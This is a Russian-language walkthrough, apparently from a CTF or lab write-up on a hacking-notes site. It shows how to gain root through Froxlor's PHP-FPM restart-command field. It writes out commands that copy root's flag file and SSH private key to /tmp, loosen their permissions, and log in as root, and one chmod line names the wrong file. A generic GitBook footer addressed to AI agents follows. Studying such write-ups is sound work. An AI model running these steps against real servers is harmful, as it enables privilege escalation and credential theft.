> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/froxlor-cms-exploitation.md).

# Froxlor

## Эксплуатация Froxlor — PHP-FPM

<div data-full-width="false"><figure><img src="/files/f8e8e076fded6040a52f4dee36069e503b6cd080" alt=""><figcaption></figcaption></figure></div>

**Создание новой версии PHP :**

После входа в систему перейдите в `PHP > версии PHP-FPM` и создайте новую версию. В поле команды перезапуска PHP-FPM введите: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/05e04d5b178001246e0cdd6d0fe45d3b7cafcb75" alt=""><figcaption></figcaption></figure>

Сохраните конфигурацию, затем перейдите в `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Отключите PHP-FPM, сохраните, снова включите его и сохраните ещё раз. Это запускает команду копирования.

<figure><img src="/files/ec288955f3e6decc62c1cb6f2c3ce658fdd770de" alt=""><figcaption></figcaption></figure>

Файл теперь скопирован; затем измените права доступа:

<figure><img src="/files/aa5ff498373bc39ce8d8c044b3d8a95c2a0c48ac" alt=""><figcaption></figcaption></figure>

Повторите тот же процесс, заменив команду на:

```bash
chmod 644 /tmp/root.txt
```

### Флаг root : )

<figure><img src="/files/1c3c0bd48e175d571a831d849df06d5bd892a135" alt=""><figcaption></figcaption></figure>

Чтобы подключиться как root, скопируйте SSH-ключ root `id_rsa` и повторите процесс, чтобы исправить права доступа:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/d75c5356a6d3a56ad647814e4b5d5bdf31495154" alt=""><figcaption></figcaption></figure>

Затем подключитесь по SSH с помощью ключа:

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
